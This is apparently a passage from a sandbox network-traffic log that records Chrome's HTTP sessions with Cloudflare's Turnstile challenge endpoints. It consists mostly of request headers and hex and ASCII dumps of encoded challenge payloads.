2025-01-13 20:52:51 UTC	3268	OUT	Data Raw: 76 5f 39 30 31 38 34 35 62 32 34 66 30 63 34 31 65 30 3d 2d 55 74 6e 47 6e 61 6e 7a 6e 4b 6e 6a 6b 68 41 6b 68 49 6e 6b 63 37 45 75 35 63 68 59 6b 34 34 76 39 68 4f 46 68 37 6c 6e 6b 6f 68 39 6e 37 5a 35 37 24 6f 74 68 56 50 6f 68 53 43 6b 38 61 68 57 6e 50 45 32 68 50 32 72 59 68 67 6e 75 78 68 6f 6e 50 59 68 75 6b 78 43 68 57 68 68 43 50 72 68 78 5a 37 39 68 57 6e 50 24 68 52 6e 75 37 6a 71 24 70 53 71 49 36 72 6f 6e 75 39 73 68 52 6c 37 4a 48 70 44 6e 6b 59 47 6e 4a 63 77 33 33 33 35 71 4d 57 69 42 64 6f 6e 50 71 39 32 55 68 57 44 44 4d 6f 6e 50 4b 78 68 50 2d 68 64 69 70 71 53 37 34 58 41 69 47 41 34 4d 4d 37 63 36 42 71 54 24 68 71 42 63 61 39 39 78 39 72 74 68 42 68 6b 59 68 54 63 68 79 57 32 55 68 37 49 6e 44 68 37 39 68 39 70 37 36 68 53 59 68 44 Data Ascii: v_901845b24f0c41e0=-UtnGnanznKnjkhAkhInkc7Eu5chYk44v9hOFh7lnkoh9n7Z57$othVPohSCk8ahWnPE2hP2rYhgnuxhonPYhukxChWhhCPrhxZ79hWnP$hRnu7jq$pSqI6ronu9shRl7JHpDnkYGnJcw3335qMWiBdonPq92UhWDDMonPKxhP-hdipqS74XAiGA4MM7c6BqT$hqBca99x9rthBhkYhTchyW2Uh7InDh79h9p76hSYhD
2025-01-13 20:52:51 UTC	751	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:51 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153000 Connection: close cf-chl-gen: jha1R3jqfC2rRsSO0gn/yXqGHXfC5FT1jjRKreMXIqIvCoa6YYKDHGoNdgw5FfaG2gqRwGmO0G6GFKUnrJdQpk0ihCZMcnHUZ6jpW2PKmBPO25UfN8NeciypH+V63k8ZIChjJi0iIRvT33DSbd260IrFnfSe2NumEjsHXoWbsstlSgHEDEiLJiK1+kKn4E6t7QtYKJA5A6ygu26RSkUa/drAGiwWiqYjIrbNUwqKg26BKGbOxsxxNj+hvGEjb/SGJDJ5j6bUrbuxtlwRA4pqo4pn0BSSgEgeY6xcyhv5RUKbUvVaFXCpHNgNKibw/cuxLOx+H6hXVxhoP7Ml+Dgd3FocHrb2jKJ2O6qCp0kFwY7ftpHYU0O1j2LTF8PWvWean8p8wQRUy8GLQbFD6wo7ZeroIuv3DdL3jszaBAHmUFRrhKUIFNrbSA9dgE3VZeFcbP4ev73WQN5nVJ3p2KP4Lb2fYMMudvcofwR1mJzocw4=$DroJ6ViQpqrO/kBC2DHzFQ== Server: cloudflare CF-RAY: 901845bfdf7c428f-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:51 UTC	618	IN	Data Raw: 6e 5a 65 31 71 34 76 42 79 63 32 34 78 36 69 54 6b 39 4f 72 7a 4a 48 45 78 37 58 64 73 71 33 41 71 73 2f 63 79 2b 48 6c 6f 64 65 2b 73 39 71 32 71 36 58 5a 34 72 6e 41 76 38 7a 53 77 74 4b 70 38 73 72 6d 37 64 58 30 32 50 33 38 76 2b 33 36 76 51 44 47 41 41 6e 33 39 2f 6e 55 42 2f 33 64 79 4f 66 7a 79 63 59 44 46 4e 4c 4f 42 77 7a 62 35 42 73 55 48 50 4d 6a 46 53 4d 56 46 2f 6f 56 39 2f 54 2b 47 66 30 65 2f 6a 45 42 4d 4f 30 47 37 67 49 54 4e 69 6f 44 4f 54 59 56 47 53 34 4b 47 2f 4d 69 48 66 30 42 45 67 41 47 4e 6b 45 5a 43 6a 70 51 55 55 4a 41 4d 56 46 50 4c 42 4e 47 4c 78 59 72 54 31 51 58 4c 6a 45 71 55 7a 68 45 55 45 56 6f 57 6b 56 63 5a 6a 35 4b 53 31 35 44 58 79 6b 7a 54 46 5a 74 52 6b 78 59 4f 6a 5a 6c 50 44 42 48 59 44 6c 4d 59 6e 46 58 5a 46 4e Data Ascii: nZe1q4vByc24x6iTk9OrzJHEx7Xdsq3Aqs/cy+Hlode+s9q2q6XZ4rnAv8zSwtKp8srm7dX02P38v+36vQDGAAn39/nUB/3dyOfzycYDFNLOBwzb5BsUHPMjFSMVF/oV9/T+Gf0e/jEBMO0G7gITNioDOTYVGS4KG/MiHf0BEgAGNkEZCjpQUUJAMVFPLBNGLxYrT1QXLjEqUzhEUEVoWkVcZj5KS15DXykzTFZtRkxYOjZlPDBHYDlMYnFXZFN
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 65 45 6c 49 61 56 6c 32 79 63 61 32 75 44 6c 49 56 2b 63 71 69 62 64 35 6c 72 6a 58 2b 4b 6b 49 4e 2b 73 6f 78 77 68 6e 65 47 72 6f 2b 6c 6d 59 79 36 6e 35 61 4e 69 72 6d 77 6f 38 53 42 6f 34 47 64 74 38 72 44 75 38 57 35 75 35 4c 4f 77 34 32 68 6a 61 6d 5a 71 37 61 4f 76 71 62 64 75 62 4b 2f 30 74 50 58 78 4b 62 45 70 4d 48 57 31 4f 32 32 78 62 2b 6f 76 2b 66 55 36 74 53 7a 7a 76 71 33 73 66 44 78 30 4f 6a 76 2f 76 44 67 41 51 66 52 42 2b 63 43 2f 41 54 56 39 67 51 45 41 2b 66 79 34 4e 50 4d 7a 67 63 45 45 50 51 49 7a 75 30 4a 46 52 33 75 44 4e 33 76 47 74 7a 6e 45 51 45 56 42 51 6f 6d 41 2b 30 49 41 79 59 64 42 41 63 71 38 66 63 62 47 53 58 32 4b 44 50 33 4f 2f 63 77 4c 7a 6e 33 2f 50 34 30 50 68 73 6b 4b 30 45 4b 55 43 5a 4e 4c 43 34 69 56 44 41 4b 43 Data Ascii: eElIaVl2yca2uDlIV+cqibd5lrjX+KkIN+soxwhneGro+lmYy6n5aNirmwo8SBo4Gdt8rDu8W5u5LOw42hjamZq7aOvqbdubK/0tPXxKbEpMHW1O22xb+ov+fU6tSzzvq3sfDx0Ojv/vDgAQfRB+cC/ATV9gQEA+fy4NPMzgcEEPQIzu0JFR3uDN3vGtznEQEVBQomA+0IAyYdBAcq8fcbGSX2KDP3O/cwLzn3/P40PhskK0EKUCZNLC4iVDAKC
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 5a 6d 4a 75 52 6b 46 74 67 6e 34 6c 2f 6d 59 79 6b 6f 48 35 36 73 61 75 6a 63 6d 2b 64 6f 6d 36 41 64 4a 69 45 6a 72 46 38 6b 35 74 34 74 36 36 73 74 59 53 37 6c 5a 76 49 69 5a 6d 71 70 4d 4f 69 76 37 43 71 6e 4a 4c 43 77 4b 6e 44 6d 72 58 46 32 72 36 34 32 65 48 42 76 36 4b 79 73 4c 2b 34 33 75 6e 55 7a 63 65 74 31 2b 66 46 73 4e 53 77 71 36 2f 51 79 2f 6e 58 30 39 7a 77 33 66 72 79 41 73 4c 65 77 62 37 56 30 74 2f 43 31 73 6b 4a 78 67 4d 4c 7a 64 48 52 78 66 7a 71 43 66 6a 70 32 42 48 74 2b 64 6b 67 43 64 49 6a 37 39 38 5a 44 78 37 36 4a 53 48 6a 2b 74 34 47 47 79 41 4d 4b 54 49 66 48 77 59 44 38 44 41 31 4a 43 63 4f 42 7a 76 39 4b 79 49 38 41 54 34 57 4d 77 64 4b 49 44 4d 63 43 7a 63 4a 52 68 30 64 45 30 4a 43 56 42 55 76 51 6a 49 61 44 6c 6f 58 48 79 Data Ascii: ZmJuRkFtgn4l/mYykoH56saujcm+dom6AdJiEjrF8k5t4t66stYS7lZvIiZmqpMOiv7CqnJLCwKnDmrXF2r642eHBv6KysL+43unUzcet1+fFsNSwq6/Qy/nX09zw3fryAsLewb7V0t/C1skJxgMLzdHRxfzqCfjp2BHt+dkgCdIj798ZDx76JSHj+t4GGyAMKTIfHwYD8DA1JCcOBzv9KyI8AT4WMwdKIDMcCzcJRh0dE0JCVBUvQjIaDloXHy
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 68 35 32 67 6f 32 47 59 6a 6d 57 59 6a 35 75 6b 63 34 70 72 67 34 61 57 70 36 75 32 74 48 57 2f 6f 48 69 65 72 4b 32 75 6f 37 47 6f 68 38 6d 6f 74 4b 53 35 68 4b 69 75 6a 72 4b 37 79 73 6e 46 76 37 47 6a 30 72 65 54 75 4d 6d 39 6b 72 32 38 74 63 44 42 32 4d 58 57 76 71 6e 4c 35 4c 32 73 33 72 33 6f 38 4d 37 6d 72 2b 66 53 79 4b 76 45 31 38 6a 76 7a 76 44 49 32 4d 71 37 75 72 76 7a 38 4f 66 61 42 63 59 4d 77 39 38 41 35 67 33 69 45 65 6e 7a 43 41 66 76 46 64 6a 6e 2b 67 59 65 45 69 49 4f 41 74 34 63 37 75 44 6d 46 50 73 5a 35 2b 76 36 41 6a 48 38 4d 53 63 41 42 54 49 4d 4b 68 6f 50 42 43 55 76 4a 6a 49 64 46 52 55 74 48 52 34 37 50 50 30 70 42 79 73 72 52 7a 6f 2b 43 79 4d 6a 4c 42 38 64 4c 6b 70 52 4b 79 67 73 46 54 59 36 4e 43 39 4a 4c 43 38 79 55 79 35 Data Ascii: h52go2GYjmWYj5ukc4prg4aWp6u2tHW/oHierK2uo7Goh8motKS5hKiujrK7ysnFv7Gj0reTuMm9kr28tcDB2MXWvqnL5L2s3r3o8M7mr+fSyKvE18jvzvDI2Mq7urvz8OfaBcYMw98A5g3iEenzCAfvFdjn+gYeEiIOAt4c7uDmFPsZ5+v6AjH8MScABTIMKhoPBCUvJjIdFRUtHR47PP0pBysrRzo+CyMjLB8dLkpRKygsFTY6NC9JLC8yUy5
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 61 4f 4d 6a 57 65 4c 6d 34 70 30 73 5a 43 67 72 4b 36 62 74 62 65 74 6d 61 43 73 6c 48 57 74 78 71 53 59 6b 4a 79 6b 70 4a 75 32 6a 63 66 4f 70 36 36 39 31 64 4f 54 71 36 79 6a 74 38 7a 48 6c 4e 57 6e 75 36 2b 2b 31 61 32 67 6e 62 75 33 34 63 48 65 76 36 33 72 34 74 76 6b 34 4d 75 77 72 76 58 46 39 75 50 37 39 4b 37 56 37 66 6e 38 38 2b 72 76 37 73 44 42 31 74 37 64 2b 41 33 6e 32 75 72 61 37 77 55 54 7a 4d 76 68 33 38 33 77 36 4f 76 56 31 51 37 51 45 66 44 70 34 52 63 50 37 39 7a 37 34 67 73 63 48 65 67 4d 4a 78 73 46 47 79 34 48 36 79 54 78 46 69 73 48 48 4f 30 75 45 68 62 34 49 6a 41 30 41 52 64 48 46 52 77 46 4a 52 34 6e 4f 69 30 64 53 30 6b 36 52 55 6b 4c 4b 52 4d 6c 56 6c 4d 74 46 6a 63 61 55 55 73 35 56 52 30 67 51 7a 59 64 55 31 73 71 52 32 74 71 Data Ascii: aOMjWeLm4p0sZCgrK6btbetmaCslHWtxqSYkJykpJu2jcfOp6691dOTq6yjt8zHlNWnu6++1a2gnbu34cHev63r4tvk4MuwrvXF9uP79K7V7fn88+rv7sDB1t7d+A3n2ura7wUTzMvh383w6OvV1Q7QEfDp4RcP79z74gscHegMJxsFGy4H6yTxFisHHO0uEhb4IjA0ARdHFRwFJR4nOi0dS0k6RUkLKRMlVlMtFjcaUUs5VR0gQzYdU1sqR2tq
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 75 42 71 34 6d 47 72 58 4a 32 69 33 6d 50 6e 6e 79 64 6e 4a 43 41 74 4d 65 6c 74 71 61 55 6f 63 65 6b 69 49 47 72 69 5a 47 71 70 72 4f 6d 7a 35 61 75 78 39 66 4e 31 4c 65 73 32 2b 47 66 6d 2b 43 6a 72 74 66 69 32 4c 7a 59 77 2b 76 42 78 61 2f 6e 7a 38 44 6f 72 73 62 55 2b 65 6a 6b 35 65 72 46 31 4d 6a 41 37 2b 2f 53 30 76 48 59 34 65 4c 71 33 50 62 57 37 65 37 65 2b 73 7a 72 33 51 6f 4b 41 66 55 61 47 66 72 38 44 76 58 77 36 64 62 39 48 79 58 75 49 75 34 4a 48 68 73 44 48 43 51 41 44 79 6a 76 47 79 30 4f 4d 52 2f 6f 4d 67 59 78 47 78 59 51 50 76 73 2f 4c 67 30 33 41 43 46 46 50 69 68 42 2b 7a 30 30 4a 45 59 74 4f 43 4d 61 4a 53 6b 65 55 30 59 74 54 44 51 33 4f 54 59 79 50 6c 4d 64 4f 6a 31 57 59 79 5a 68 50 6a 68 54 52 6b 30 6b 4b 54 67 37 58 47 67 75 53 Data Ascii: uBq4mGrXJ2i3mPnnydnJCAtMeltqaUocekiIGriZGqprOmz5aux9fN1Les2+Gfm+Cjrtfi2LzYw+vBxa/nz8DorsbU+ejk5erF1MjA7+/S0vHY4eLq3PbW7e7e+szr3QoKAfUaGfr8DvXw6db9HyXuIu4JHhsDHCQADyjvGy0OMR/oMgYxGxYQPvs/Lg03ACFFPihB+z00JEYtOCMaJSkeU0YtTDQ3OTYyPlMdOj1WYyZhPjhTRk0kKTg7XGguS
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 63 6b 71 36 2b 74 62 69 52 67 70 6d 32 6f 72 36 62 67 38 69 6d 78 62 7a 4b 71 71 6e 48 76 4a 4b 37 79 36 71 78 30 61 50 48 6c 63 71 36 70 72 44 49 74 64 69 36 32 5a 62 56 76 36 53 61 79 65 4c 4d 76 36 72 4e 33 64 6e 45 77 75 6a 76 30 66 4b 74 72 76 62 45 36 37 71 31 38 65 75 37 38 38 7a 64 39 64 48 62 43 64 44 42 33 66 7a 4c 44 78 44 64 34 65 50 4f 42 39 34 45 33 78 59 4d 34 78 59 64 2b 78 2f 73 49 42 50 70 49 53 4d 62 38 78 34 48 2f 53 45 65 4b 4f 6a 37 4c 78 77 5a 2f 4f 6f 66 38 75 2f 76 43 7a 4d 33 45 6a 30 4c 47 41 77 5a 4d 78 6b 42 4a 44 51 59 50 54 4d 44 50 53 45 46 46 79 49 35 50 6b 45 67 54 43 73 79 4e 41 39 48 46 30 6c 58 52 44 49 72 50 68 63 58 4c 55 4d 74 56 53 42 41 50 44 38 36 51 7a 51 72 54 79 46 6a 4b 7a 30 78 50 48 49 75 53 32 6c 33 63 30 Data Ascii: ckq6+tbiRgpm2or6bg8imxbzKqqnHvJK7y6qx0aPHlcq6prDItdi62ZbVv6SayeLMv6rN3dnEwujv0fKtrvbE67q18eu788zd9dHbCdDB3fzLDxDd4ePOB94E3xYM4xYd+x/sIBPpISMb8x4H/SEeKOj7LxwZ/Oof8u/vCzM3Ej0LGAwZMxkBJDQYPTMDPSEFFyI5PkEgTCsyNA9HF0lXRDIrPhcXLUMtVSBAPD86QzQrTyFjKz0xPHIuS2l3c0
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 72 34 79 30 67 34 47 53 70 5a 69 49 69 4b 65 4d 72 38 57 4f 75 5a 36 6c 6b 63 4f 51 6f 36 33 42 32 63 6e 54 33 71 72 66 32 35 6a 55 34 35 7a 67 73 62 37 6f 75 62 50 45 79 2b 37 59 70 63 44 68 38 72 37 74 76 74 43 75 39 38 36 35 38 64 47 7a 37 4d 37 6f 7a 76 44 53 35 66 6e 7a 77 74 33 42 39 2b 76 71 31 66 6b 4b 2f 75 4c 64 35 67 54 66 37 2b 4c 73 44 50 44 53 39 4e 7a 33 36 68 4d 6a 38 2f 37 73 46 50 34 6d 39 2b 44 71 34 78 6f 43 4c 78 2f 73 49 77 34 78 42 77 59 6d 4c 52 59 73 4b 42 73 31 44 43 7a 35 48 68 30 79 4f 68 37 39 4d 68 63 68 4e 68 59 4d 4e 55 38 4d 42 78 78 4f 4f 30 77 79 53 45 39 54 52 68 45 32 55 52 56 50 4c 52 73 76 54 54 64 57 59 42 31 50 4d 79 52 69 52 54 67 38 50 31 77 71 5a 56 6f 39 4c 54 39 79 4d 57 4e 36 61 45 64 55 62 56 68 79 66 46 6c Data Ascii: r4y0g4GSpZiIiKeMr8WOuZ6lkcOQo63B2cnT3qrf25jU45zgsb7oubPEy+7YpcDh8r7tvtCu98658dGz7M7ozvDS5fnzwt3B9+vq1fkK/uLd5gTf7+LsDPDS9Nz36hMj8/7sFP4m9+Dq4xoCLx/sIw4xBwYmLRYsKBs1DCz5Hh0yOh79MhchNhYMNU8MBxxOO0wySE9TRhE2URVPLRsvTTdWYB1PMyRiRTg8P1wqZVo9LT9yMWN6aEdUbVhyfFl
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 5a 57 66 75 38 4b 4c 6f 70 71 67 69 37 33 45 73 4e 47 70 32 4a 47 6b 78 74 43 59 6c 38 7a 55 31 4b 76 51 31 4e 37 68 75 39 6e 4a 34 38 44 47 35 36 72 48 75 65 71 73 79 50 4f 72 38 63 79 79 7a 62 66 6c 74 73 57 36 36 2f 44 7a 79 75 72 65 41 38 44 62 34 74 67 46 38 75 62 55 79 2b 45 41 79 38 73 43 33 67 63 4f 36 66 48 50 47 75 38 64 35 75 67 4d 37 67 33 72 45 66 34 59 37 68 62 79 43 53 49 42 4c 66 51 75 42 4f 6b 52 36 51 59 6b 38 2f 55 6c 38 54 44 33 4a 76 55 30 2b 78 55 63 44 68 41 73 44 7a 63 45 4d 2f 34 68 51 79 45 58 52 30 6b 69 51 55 30 64 50 31 56 49 48 7a 38 7a 56 78 55 77 4e 79 31 5a 52 7a 74 54 46 44 6c 6c 56 78 34 36 58 6b 46 6e 51 54 64 58 4c 6c 70 68 62 33 4a 4c 64 44 4a 42 5a 45 64 72 4e 6c 4e 63 56 54 64 52 63 58 75 41 56 33 56 77 50 31 35 6a Data Ascii: ZWfu8KLopqgi73EsNGp2JGkxtCYl8zU1KvQ1N7hu9nJ48DG56rHueqsyPOr8cyyzbfltsW66/DzyureA8Db4tgF8ubUy+EAy8sC3gcO6fHPGu8d5ugM7g3rEf4Y7hbyCSIBLfQuBOkR6QYk8/Ul8TD3JvU0+xUcDhAsDzcEM/4hQyEXR0kiQU0dP1VIHz8zVxUwNy1ZRztTFDllVx46XkFnQTdXLlphb3JLdDJBZEdrNlNcVTdRcXuAV3VwP15j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49767	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:52 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:52 UTC	375	IN	HTTP/1.1 404 Not Found Date: Mon, 13 Jan 2025 20:52:52 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: kfb/CFVUsCFj7z0Ombwp+g==$IpSG9xEpJ2PbgxN1hXhb+g== Server: cloudflare CF-RAY: 901845c68920f799-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:52 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49774	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:53 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901845b24f0c41e0/1736801571844/u7iXOjb4XhZghDQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:53 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:53 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901845cbcfb68c5f-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:53 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1e 00 00 00 49 08 02 00 00 00 a5 d9 01 ba 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49780	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:54 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901845b24f0c41e0/1736801571844/u7iXOjb4XhZghDQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:54 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:54 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901845cf9aaa4366-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:54 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1e 00 00 00 49 08 02 00 00 00 a5 d9 01 ba 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49785	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:54 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/901845b24f0c41e0/1736801571848/cf365ea1c3afd24d26056b01e163d9a36502b94f8ff1044e4aef3ed84ca9b8f8/nV1cmFnZwT9F_47 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:54 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 13 Jan 2025 20:52:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-13 20:52:54 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 7a 7a 5a 65 6f 63 4f 76 30 6b 30 6d 42 57 73 42 34 57 50 5a 6f 32 55 43 75 55 2d 50 38 51 52 4f 53 75 38 2d 32 45 79 70 75 50 67 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gzzZeocOv0k0mBWsB4WPZo2UCuU-P8QROSu8-2EypuPgAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-13 20:52:54 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49793	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:55 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32212 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:55 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 38 34 35 62 32 34 66 30 63 34 31 65 30 3d 2d 55 74 6e 7a 6b 50 59 43 78 55 68 55 68 35 55 50 39 50 78 44 6c 75 39 37 64 50 79 68 32 6e 53 43 50 30 68 75 68 4a 43 37 25 32 62 68 4d 6e 53 55 37 6b 68 54 6e 54 74 37 4e 42 74 68 2d 6b 68 6b 4f 34 45 68 67 68 53 45 68 34 37 68 39 51 68 79 7a 6b 55 47 4a 7a 68 50 55 50 75 44 47 69 32 68 70 74 6c 37 2d 59 6c 46 5a 53 6c 50 38 68 52 56 59 68 69 4c 6e 50 4e 56 78 71 39 66 59 68 78 2b 34 4a 31 35 35 39 68 68 45 43 68 4f 57 68 68 4f 6f 34 74 68 59 35 45 68 6b 42 32 56 45 38 5a 5a 68 6c 50 42 78 49 55 63 46 4a 46 45 6e 68 69 5a 78 4e 37 6c 49 69 32 45 4f 68 53 48 66 56 51 39 34 6a 6e 68 6c 4e 37 5a 50 53 45 31 54 57 47 5a 75 52 55 51 6e 48 4a 68 6a 62 4a 4a 4e 62 73 73 2b 43 4f 59 33 78 69 68 32 48 73 Data Ascii: v_901845b24f0c41e0=-UtnzkPYCxUhUh5UP9PxDlu97dPyh2nSCP0huhJC7%2bhMnSU7khTnTt7NBth-khkO4EhghSEh47h9QhyzkUGJzhPUPuDGi2hptl7-YlFZSlP8hRVYhiLnPNVxq9fYhx+4J1559hhEChOWhhOo4thY5EhkB2VE8ZZhlPBxIUcFJFEnhiZxN7lIi2EOhSHfVQ94jnhlN7ZPSE1TWGZuRUQnHJhjbJJNbss+COY3xih2Hs
